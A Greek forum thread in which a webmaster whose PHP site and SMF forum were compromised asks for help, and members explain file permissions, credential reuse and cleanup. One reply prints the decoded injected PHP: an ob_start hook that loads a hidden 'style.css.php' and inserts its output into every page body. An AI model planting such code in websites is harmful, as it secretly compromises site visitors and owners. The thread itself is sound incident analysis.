Προς το περιεχόμενο

Permissions για PHP αρχεία


Evangeli

Προτεινόμενες αναρτήσεις

Δημοσ.

Καλησπέρα σε όλους.

 

Πρόσφατα παρατήρησα στο site μου πως κάποιος "καλός" άνθρωπος (μπορεί να ήταν και botaki, δεν παίρνω όρκο) είχε τοποθετήσει στο πάνω μέρος ορισμένων αρχείων μια συνάρτηση με ακαταλαβίστικες παραμέτρους... Αυτό είχε ως αποτέλεσμα προβλήματα στο designing (μπορεί και ακόμα περισσότερα που να μην τα έχω πάρει χαμπάρι). Anyway.

 

Εγώ, αυτό που θα ήθελα να ρωτήσω είναι τι μπορώ να κάνω για να μην μπορεί να γράφει ο κάθε κ@φρ0σ ότι γουστάρει... π.χ. μήπως αυτό θα μπορούσε να γίνει παίζοντας με permissions και αν ναι, τι "νούμερο" θα πρέπει να θέσω? Το κάθε αρχείο - σελίδα δημιουργείτε ΜΙΑ μόνο φορά και ξανα τροοποιείται ποτέ. Με Filezilla πάντως που το δοκίμασα (δεξί κλικ --> File permissions...) δεν με αφήνει να βάλω 444 που θεωρώ ως ιδανικό. :(

Δημοσ.

Καταρχάς, εδώ υπάρχει μεγάλο ΘΕΜΑ φίλε σε σχέση με το security του site και γενικά του hosting !

 

Για να πας να πειράξεις κάποια αρχεία πάνω στον server πρέπει να ξέρεις τους κωδικούς για το ftp!

 

Απλώς αυτό που λες είναι τελείως λάθος με το να βάλεις 444 σε κάποια αρχεία !

 

Και στην τελική εάν εσύ στο μέλλον χρειαστείς έναν φάκελο όπου θα ανεβάζεις από το site κάποια αρχεία (εικόνες, pdf, ...) τότε ο φάκελος θα πρέπει να έχει 777 δικαιώματα!

Δημοσ.
Καταρχάς, εδώ υπάρχει μεγάλο ΘΕΜΑ φίλε σε σχέση με το security του site και γενικά του hosting !

 

Για να πας να πειράξεις κάποια αρχεία πάνω στον server πρέπει να ξέρεις τους κωδικούς για το ftp!

Θα μπορούσες να μου περιγράψεις τι ακριβώς θα μπορούσε να φταίει? Τι πρέπει να ζητήσω απο εκείνον που κάνει το hosting και σε ποιο ακριβώς σημείο του site θα πρέπει να επέμβω?

 

 

Απλώς αυτό που λες είναι τελείως λάθος με το να βάλεις 444 σε κάποια αρχεία !

 

Και στην τελική εάν εσύ στο μέλλον χρειαστείς έναν φάκελο όπου θα ανεβάζεις από το site κάποια αρχεία (εικόνες, pdf, ...) τότε ο φάκελος θα πρέπει να έχει 777 δικαιώματα!

Βασικά, τώρα που το σκέφτομαι, μήπως οφήλεται στο οτι το config file ενός script περιέχεtαι το password (οχι όμως και το username, αν και δεν ειναι δύσκολο να εντοπιστεί) που τυχαίνιε να είναι ίδιο με το ftp account? Ακόμα και έτσι όμως, εγώ πιστέυω οτι κάτι αλλο πρέπει να φταίει... Παρακαλώ βοηθείστε...

Δημοσ.

Συνήθως το config file , χρησιμοποιείται για την σύνδεση με την βάση. Έχεις βάση εσύ στο site σου? Και άλλο οι κωδικοί για την βάση και άλλοι οι κωδικοί για το ftp σου!

 

To site στο φτιάξανε? Το έφτιαξες εσύ και απλώς το ανέβασες σε κάποιο domain που νοίκιασες?

Δημοσ.
Συνήθως το config file , χρησιμοποιείται για την σύνδεση με την βάση. Έχεις βάση εσύ στο site σου? Και άλλο οι κωδικοί για την βάση και άλλοι οι κωδικοί για το ftp σου!

 

To site στο φτιάξανε? Το έφτιαξες εσύ και απλώς το ανέβασες σε κάποιο domain που νοίκιασες?

 

Το config file για την βάση το χρησιμοποιώ. αλλάζει μόνο το user name. το password ειναι το ίδιο. Το εφτιαξα εγώ και το ανέβασα στον host. Καμοιά ιδέα για το πρόβλημα μου?

Δημοσ.

Θα πρέπει να μιλήσεις μαζί τους για αυτό που σου έτυχε και εάν έγινε και σε κάποια άλλα site που έχουν σαν εταιρεία !

 

Πάντως ΜΟΝΟ εάν έχεις τους κωδικούς ftp μπορείς να κατεβάσεις ένα αρχείο από το site και να το επεξεργαστείς και να το ξανά ανεβάσεις.

 

Πολύ απλά ΜΙΛΑ ΜΑΖΙ τους για το συμβάν αυτό γιατί είναι πολύ σημαντικό !

Δημοσ.
μια συνάρτηση με ακαταλαβίστικες παραμέτρους...

Μπορείς να παραθέσεις τον ύποπτο κώδικα;

 

Με Filezilla πάντως που το δοκίμασα (δεξί κλικ --> File permissions...) δεν με αφήνει να βάλω 444 που θεωρώ ως ιδανικό. :(

Αν έχεις συνδεθεί κανονικά με FTP και ο ιδιοκτήτης των συγκεκριμένων αρχείων είναι ο χρήστης ως ο οποίος συνδέεσαι μέσω FTP, θα έπρεπε να σε αφήνει. Ρώτησε τον διαχειριστή του server γιατί δε σε αφήνει. Είναι πολύ σημαντικό να ορίζεις ελάχιστα δικαιώματα στα αρχεία (δυστυχώς ελάχιστοι το προσέχουν). Επίσης είναι πολύ κακό το ότι χρησιμοποιείς τον ίδιο κωδικό για FTP, ο οποίος βρίσκεται σε ένα αρχείο στο οποίο έχει πρόσβαση ανάγνωσης ο HTTP server.

 

Πάντως ΜΟΝΟ εάν έχεις τους κωδικούς ftp μπορείς να κατεβάσεις ένα αρχείο από το site και να το επεξεργαστείς και να το ξανά ανεβάσεις.

Αν αναφέρεσαι στον εισβολέα, δεν είναι απαραίτητο αυτό. Αν ο χρήστης ως ο οποίος εκτελείται ο HTTP server έχει δικαιώματα εγγραφής πάνω στο αρχείο, είτε επειδή είναι ο ιδιοκτήτης του, είτε επειδή του το επιτρέπουν τα permissions του αρχείου, τότε κάποιος θα μπορούσε να τροποποιήσει το αρχείο μέσω της PHP π.χ., εκμεταλλευόμενος κάποιο XSS ελάττωμα στον κώδικα κάποιου script είτε του ίδιου site, είτε και οποιουδήποτε άλλου site φιλοξενείται στον ίδιο server -αν δεν βρίσκεται κάθε site σε απομονωμένο περιβάλλον, όπως δε βρίσκεται στους περισσότερους hosts.

 

Υσ. @Evangeli, μπορείς επίσης να ρήξεις μια ματιά στα περιεχόμενα του access log της περιόδου που έγινε το συμβάν (αν το έχεις) για ύποπτα GET requests που θα πρόδιδαν exploitation.

Δημοσ.

Λοιπόν, ο κώδικας επισυνάπτεται διότι είναι ολίγων τι μακρινάρι! Καμιά ιδέα για το τι μπορεί να σημαίνει? Θα επικοινωνήσω αύριο κιόλας με την εταιρεία που μου κάνει το hosting καθώς το θέμα είναι πάρα πολύ σημαντικό! Σήμερα ανακάλυψα ότι μου έχουν @#@((*# και όλα τα αρχεία του forum (SMF)!

 

Υ.Γ.: Εκτός από τα μέτρα που πρέπει να λάβω με την συνεργασία της εταιρείας, θα πρέπει ακόμα να διαγράψω την συγκεκριμένη γραμμή από όλα τα αρχεία. Καμιά ιδέα πριν αρχίσω να ψάχνω? Μήπως γίνεται ευκολότερα με Unix? Βασικά πρέπει, δοθέντος ενός root, να γίνεται open καθενός αρχείου κάτω από αυτό το root και σε περίπτωση που εντοπίζεται το συγκεκριμένο string να διαγράφεται και να αποθηκεύεται το περιεχόμενο του επεξεργασμένου - πλέον - αρχείου.

code.txt

Δημοσ.
Λοιπόν, ο κώδικας επισυνάπτεται διότι είναι ολίγων τι μακρινάρι! Καμιά ιδέα για το τι μπορεί να σημαίνει?

Είναι obfuscated κώδικας PHP, δηλαδή κώδικας ο οποίος έχει υποστεί κάποιες εύκολα αναστρέψιμες μετατροπές (στην προκειμένη, Deflate και Base64 encoding) προκειμένου να αλλάξει η εμφάνισή του σε κάτι που δε φαίνεται να βγάζει νόημα.

 

>if(function_exists('ob_start') && !isset($GLOBALS['sh_no'])){
  $GLOBALS['sh_no'] = 1;
  if(file_exists('/home/crazy/public_html/forum/FCKeditor/editor/filemanager/browser/default/images/icons/32/style.css.php')){
     include_once('/home/crazy/public_html/forum/FCKeditor/editor/filemanager/browser/default/images/icons/32/style.css.php');
     if(function_exists('gml') && !function_exists('dgobh')){
        if(!function_exists('gzdecode')){
           function gzdecode($var1){
              $var2 = ord(substr($var1, 3, 1));
              $var3 = 10;
              $var4 = 0;
              if($var2&4){
                 $var4 = unpack('v',substr($var1, 10, 2));
                 $var4 = $var4[1];
                 $var3 += 2 + $var4;}
              if($var2&8)
                 $var3 = strpos($var1, chr(0), $var3) + 1;
              if($var2&16)
                 $var3 = strpos($var1, chr(0), $var3) + 1;
              if($var2&2)
                 $var3 += 2;
              $var5 = gzinflate(substr($var1, $var3));
              if($var5 === FALSE)
                 $var5 = $var1;
              return $var5;}}
        function dgobh($var6){
           Header('Content-Encoding: none');
           $var7 = gzdecode($var6);
           if(preg_match('/<body/si', $var7))
              return preg_replace('/(<body[^>]*>)/si', '$1' . gml(), $var7);
           else
              return gml() . $var7;}
        ob_start('dgobh');}}}

 

(αν και με αυτόν τον τρόπο το μόνο που κατάφεραν είναι να βγάζει μάτι ότι είναι ξένος :P)

 

Το ουσιαστικό μέρος θα βρίσκεται στο αρχείο:

>/home/crazy/public_html/forum/FCKeditor/editor/filemanager/browser/default/images/icons/32/style.css.php

 

Το πιθανότερο είναι ότι πρόκειται για μαζική, αυτοματοποιημένη επίθεση σε κάποια συγκεκριμένη αδυναμία του SMF (μάλλον θα έχεις πιο παλιά έκδοση). Δυστυχώς το SMF δε φαίνεται να έχει κάποια ανοιχτή Mailing list για να λαμβάνουν οι χρήστες ειδοποιήσεις, όμως με κάποιο τρόπο θα πρέπει να φροντίζεις να ενημερώνεσαι για security-related bugs που ανακοινώνονται και να το αναβαθμίζεις.

 

Εκτός από τα μέτρα που πρέπει να λάβω με την συνεργασία της εταιρείας, θα πρέπει ακόμα να διαγράψω την συγκεκριμένη γραμμή από όλα τα αρχεία. Καμιά ιδέα πριν αρχίσω να ψάχνω? Μήπως γίνεται ευκολότερα με Unix? Βασικά πρέπει, δοθέντος ενός root, να γίνεται open καθενός αρχείου κάτω από αυτό το root και σε περίπτωση που εντοπίζεται το συγκεκριμένο string να διαγράφεται και να αποθηκεύεται το περιεχόμενο του επεξεργασμένου - πλέον - αρχείου.

Είναι καλύτερη ιδέα να τα διαγράψεις όλα και να ανεβάσεις από την αρχή το SMF και οποιαδήποτε άλλα αρχεία είχες, καθώς δε ξέρεις τι άλλο μπορεί να έχει τροποποιηθεί ή προστεθεί.

Πάντως για να κάνεις αυτό που λες θα μπορούσες να δώσεις π.χ.:

>$ string="C9ob21lL2NyYXp5L3B1YmxpY19odG1sL2ZvcnVtL0ZDS2VkaXRvci9lZGl0b3IvZmlsZW1hbmFnZXIvYnJvd3Nlci9kZWZhdWx0L2ltYWdlcy9pY29ucy8zMi9zdHlsZS5jc3MucGhw"
$ find /root/path -iname "*.php" -type f -exec sed -i "/$string/d" {} \;

  • 4 εβδομάδες αργότερα...
Δημοσ.

@nske: Πως καταλάβαμε το είδος της επεξεργασίας που έχει υποστεί ο κακόβουλος κώδικας? (στην προκειμένη περίπτωση Deflate και Base64 encoding)?

 

Επισυνάπτω τον κώδικά Java που έτρεξα για τον καθαρισμό των αρχείων. Δέχεται ως είσοδο το root directory και "φυτευτό" - στον κώδικα - το τύπο των αρχείων που αναζητά (π.χ. php για .php αρχεία). Αν εντοπίσει την συγκεκριμένη λέξη-γραμμή, την σβήνει. Παράλληλα, αναζητά μια συγκεκριμένη λέξη π.χ. "password" και μας επιστρέφει που εντοπίστηκε. Η διαδικασία πραγματοποιείται αναδρομικά.

 

Νομίζω ότι πλέον έχω "καθαρίσει" με τον κακόβουλο κώδικά. Επίσης, ανανέωσα τους κωδικούς FTP και φρόντισα ώστε να μην ταιριάζουν με εκείνους της MySQL. Πουθενά μέσα στον κώδικα δεν εντοπίζεται FTP Account. Πως μπορώ όμως να αποκρύψω και τα στοιχεία της βάσης που συνήθως εμφανίζονται στο connection string?

 

$nletter = mysql_connect($hostname, $username, $password) or trigger_error(mysql_error(),E_USER_ERROR);

find.obfuscated.php.code.zip

Δημοσ.
@nske: Πως καταλάβαμε το είδος της επεξεργασίας που έχει υποστεί ο κακόβουλος κώδικας? (στην προκειμένη περίπτωση Deflate και Base64 encoding)?

 

><? /**/eval(base64_decode('[...]

http://en.wikipedia.org/wiki/Base64

http://php.net/manual/en/function.base64-decode.php

 

>
[...]
          function gzdecode($var1)
[...]
              $var5 = gzinflate(substr($var1, $var3));
[...]

http://en.wikipedia.org/wiki/Gzip

http://php.net/manual/en/function.gzdecode.php

http://php.net/manual/en/function.gzinflate.php

 

Πως μπορώ όμως να αποκρύψω και τα στοιχεία της βάσης που συνήθως εμφανίζονται στο connection string?

Δε μπορείς -θα μπορούσες να τα κάνεις obfuscate με παρόμοιες αναστρέψιμες μετατροπές, όμως οποιοσδήποτε ξέρει 5 πράγματα θα μπορεί εύκολα να τα αποκωδικοποιήσει.

Για κάτι παραπάνω θα πρέπει αναγκαστικά να υλοποιηθεί κάποιο λογισμικό σε επίπεδο HTTP server, το οποίο να αποκρυπτογραφεί τον κώδικα πριν σταλεί στον PHP interpreter για εκτέλεση.

 

Παραδείγματα τέτοιου λογισμικού:

 

Αρχειοθετημένο

Αυτό το θέμα έχει αρχειοθετηθεί και είναι κλειστό για περαιτέρω απαντήσεις.

  • Δημιουργία νέου...